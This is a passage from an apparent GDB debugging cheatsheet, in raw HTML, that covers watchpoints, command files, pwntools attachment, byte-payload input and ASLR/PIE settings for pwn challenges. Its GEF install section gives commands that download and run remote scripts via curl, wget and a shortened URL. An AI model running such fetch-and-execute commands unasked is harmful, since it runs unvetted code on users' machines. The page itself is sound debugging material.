&lt;span class=&quot;token function&quot;&gt;watch&lt;/span&gt; *0x7fffffffd000

&lt;span class=&quot;token comment&quot;&gt;# Break on condition.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;## Register&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;watch&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$rax&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; 0xdeadbeef
&lt;span class=&quot;token comment&quot;&gt;## Memory&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;### C/C++&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;watch&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;uint32_t*&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;0x7fffffffd000 &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; 0xdeadbeef
&lt;span class=&quot;token comment&quot;&gt;### Rust&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;watch&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;0x7fffffffd000 as *const u32&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; 0xdeadbeef&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Watchpoints can be enabled/disabled/deleted like breakpoints, but you can also list them separately.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Displays table of watchpoints.&lt;/span&gt;
info watchpoint
info wat&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;If hardware watchpoints are supported, then you can also use read watchpoints and access watchpoints.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Check if hardware watchpoints are supported.&lt;/span&gt;
show can-use-hw-watchpoints&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Read watchpoints: break on read.&lt;/span&gt;
rwatch *0x7fffffffd000

&lt;span class=&quot;token comment&quot;&gt;# Access watchpoints: break on read or write.&lt;/span&gt;
awatch *0x7fffffffd000&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://sourceware.org/gdb/current/onlinedocs/gdb.html/Set-Watchpoints.html&quot;&gt;GDB: Setting Watchpoints&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;gdb-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#gdb-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; GDB Script&lt;/h3&gt;
&lt;p&gt;GDB commands can be placed in files and run in the following ways:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;~/.gdbinit&lt;/code&gt; and &lt;code&gt;./.gdbinit&lt;/code&gt; are executed automatically on GDB startup.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On the command line, with &lt;code&gt;-x&lt;/code&gt;/&lt;code&gt;--command&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;gdb &lt;span class=&quot;token parameter variable&quot;&gt;--batch&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--command&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;test.gdb &lt;span class=&quot;token parameter variable&quot;&gt;--args&lt;/span&gt; ./test.exe &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Using the &lt;code&gt;source&lt;/code&gt; command in GDB:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-language=&quot;GDB&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;source&lt;/span&gt; myscript.gdb&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;GDB&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://sourceware.org/gdb/current/onlinedocs/gdb.html/Command-Files.html&quot;&gt;GDB Reference - Command Files&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cgi.cse.unsw.edu.au/~learn/debugging/modules/gdb_init_file/&quot;&gt;GDB Scripting Commands and Examples&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/10748501/10239789&quot;&gt;SO: What are the best ways to automate a GDB debugging session?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;miscellaneous&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#miscellaneous&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Miscellaneous&lt;/h2&gt;
&lt;h3 id=&quot;install-gef&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#install-gef&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Install GEF&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# via the install script&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;## using curl&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-fsSL&lt;/span&gt; https://gef.blah.cat/sh&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;## using wget&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;wget&lt;/span&gt; https://gef.blah.cat/sh &lt;span class=&quot;token parameter variable&quot;&gt;-O&lt;/span&gt; -&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# or manually&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;wget&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-O&lt;/span&gt; ~/.gdbinit-gef.py &lt;span class=&quot;token parameter variable&quot;&gt;-q&lt;/span&gt; https://gef.blah.cat/py
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;source&lt;/span&gt; ~/.gdbinit-gef.py &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; ~/.gdbinit

&lt;span class=&quot;token comment&quot;&gt;# or alternatively from inside gdb directly&lt;/span&gt;
gdb &lt;span class=&quot;token parameter variable&quot;&gt;-q&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;gdb&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; pi &lt;span class=&quot;token function&quot;&gt;import&lt;/span&gt; urllib.request as u, tempfile as t&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;t.NamedTemporaryFile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;suffix&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;-gef.py&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; open&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;g.name, &lt;span class=&quot;token string&quot;&gt;&#39;wb+&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;.write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;u.urlopen&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;https://tinyurl.com/gef-main&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;.read&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; gdb.execute&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;source %s&#39;&lt;/span&gt; % g.name&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/hugsy/gef&quot;&gt;GitHub: GEF&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;pwnlib-gdb-attach&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#pwnlib-gdb-attach&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; &lt;code&gt;pwnlib.gdb.attach&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This allows you to programmatically interact with the binary with an initial GDB script or send I/O with Python. This uses the Python &lt;code&gt;pwn&lt;/code&gt; module — a versatile exploit development package — which you can install with &lt;code&gt;pip install pwntools&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; pwn &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;

bash &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; process&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;bash&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Attach the debugger and run GDB commands.&lt;/span&gt;
gdb&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;attach&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bash&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&#39;&#39;&#39;
set follow-fork-mode child
break execve
continue
&#39;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Interact with the process.&lt;/span&gt;
bash&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendline&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;echo Hello World&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/62014210/10239789&quot;&gt;SO: &lt;code&gt;gdb.attach&lt;/code&gt; Example&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.pwntools.com/en/stable/gdb.html#pwnlib.gdb.attach&quot;&gt;&lt;code&gt;gdb.attach&lt;/code&gt; Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To unlock the full potential of the GDB API, check out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.pwntools.com/en/stable/gdb.html&quot;&gt;pwntools - Working with GDB&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;input-non-printable-characters&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#input-non-printable-characters&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Input Non-Printable Characters&lt;/h3&gt;
&lt;p&gt;Sometimes you may want to manually fuzz or construct complex attack payloads. There are multiple ways to do so.&lt;/p&gt;
&lt;div class=&quot;alert alert-danger d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-radiation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;I don&#39;t recommend using Python 3 to generate strings on-the-fly, as its string/byte-string mechanics are unintuitive. Prefer &lt;code&gt;perl&lt;/code&gt; or &lt;code&gt;echo&lt;/code&gt; instead.&lt;/p&gt;
&lt;p&gt;For example: &lt;code&gt;python -c &#39;print(&amp;quot;&#92;xc0&amp;quot;)&#39;&lt;/code&gt; prints &lt;code&gt;&#92;xc3&#92;x80&lt;/code&gt; (À) instead of &lt;code&gt;&#92;xc0&lt;/code&gt;. Why? Because the Python string &lt;code&gt;&amp;quot;&#92;xc0&amp;quot;&lt;/code&gt; is interpreted as U+00C0, which is &lt;code&gt;&#92;xc3&#92;x80&lt;/code&gt; in UTF-8. In other words, characters are interpreted as Unicode codepoints instead of bytes.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#92;xc0&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;&#92;xc3&#92;x80&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Printing bytes in Python is &lt;a href=&quot;https://stackoverflow.com/q/908331/10239789&quot;&gt;difficult to do concisely&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Directly from GDB: With &lt;code&gt;run&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Runs with &#39;AAAA&#92;x01&#92;x02&#92;x01&#92;x02&#39; as stdin.&lt;/span&gt;
r &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;perl &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;print &quot;A&quot;x4 . &quot;&#92;x01&#92;x02&quot;x2;&#39;&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This uses a Bash &lt;a href=&quot;https://tldp.org/LDP/abs/html/x17837.html&quot;&gt;here-string&lt;/a&gt; to feed goodies into input. Not supported on all machines.&lt;/p&gt;
&lt;!--
**Directly from GDB: Continue**
```sh {data-lang-off}
# (Untested)
c -A &lt; &lt;(perl -e &#39;print &quot;&#92;x00&#92;x40&#92;x3d&#92;x38&quot;&#39;)
```
--&gt;
&lt;p&gt;&lt;strong&gt;Directly from GDB: With Temporary File&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Slightly more convoluted than the previous method, but is more portable.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Prints &#39;AAAA&#92;x01&#92;x02&#92;x01&#92;x02&#39; to a temporary file.&lt;/span&gt;
shell perl &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;print &quot;A&quot;x4 . &quot;&#92;x01&#92;x02&quot;x2;&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;/tmp/input

&lt;span class=&quot;token comment&quot;&gt;# Run the program, use the file as stdin.&lt;/span&gt;
r &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;/tmp/input&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Reset GDB Arguments&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; args&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This empties &lt;code&gt;args&lt;/code&gt;. You can also use this command to set arbitrary arguments. The full command is:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; args &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;arguments&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;With &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#pwnlib-gdb-attach&quot;&gt;&lt;code&gt;pwnlib.gdb.attach&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;bash&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendline&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;echo &#39;&#92;x01&#92;x02&#92;x03&#92;x04&#39;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;enable-aslr&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#enable-aslr&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Enable ASLR&lt;/h3&gt;
&lt;p&gt;&lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Address space layout randomisation&quot;&gt;ASLR&lt;/abbr&gt; is a common mechanism to randomise stack, heap, and library offsets.&lt;/p&gt;
&lt;p&gt;ASLR is disabled by default in GDB. To re-enable:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; disable-randomization off&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Useful for pwn challenges.&lt;/p&gt;
&lt;h3 id=&quot;pie-breakpoints&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#pie-breakpoints&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; PIE Breakpoints&lt;/h3&gt;
&lt;p&gt;GEF only.&lt;/p&gt;
&lt;p&gt;&lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Position-independent executable&quot;&gt;PIE&lt;/abbr&gt; are binaries where segments (.data, .text) are loaded at random offsets. In GDB, it seems to always be set to offset 0x555…554000.&lt;/p&gt;
&lt;p&gt;Not all binaries have PIE enabled. Use &lt;code&gt;checksec&lt;/code&gt; to verify.&lt;/p&gt;
&lt;p&gt;Use the &lt;code&gt;pie&lt;/code&gt; commands (&lt;code&gt;help pie&lt;/code&gt;). Pie breakpoints are separate from regular breakpoints.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;pie b &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;# PIE breakpoint at offset &amp;lt;addr&amp;gt; in code.&lt;/span&gt;
pie run         &lt;span class=&quot;token comment&quot;&gt;# Run with pie breakpoints enabled.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;gef-context&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#gef-context&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; GEF Context&lt;/h3&gt;
&lt;p&gt;GEF only.&lt;/p&gt;
&lt;p&gt;Summary of registers, stack, trace, code, all in one contained view.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;context
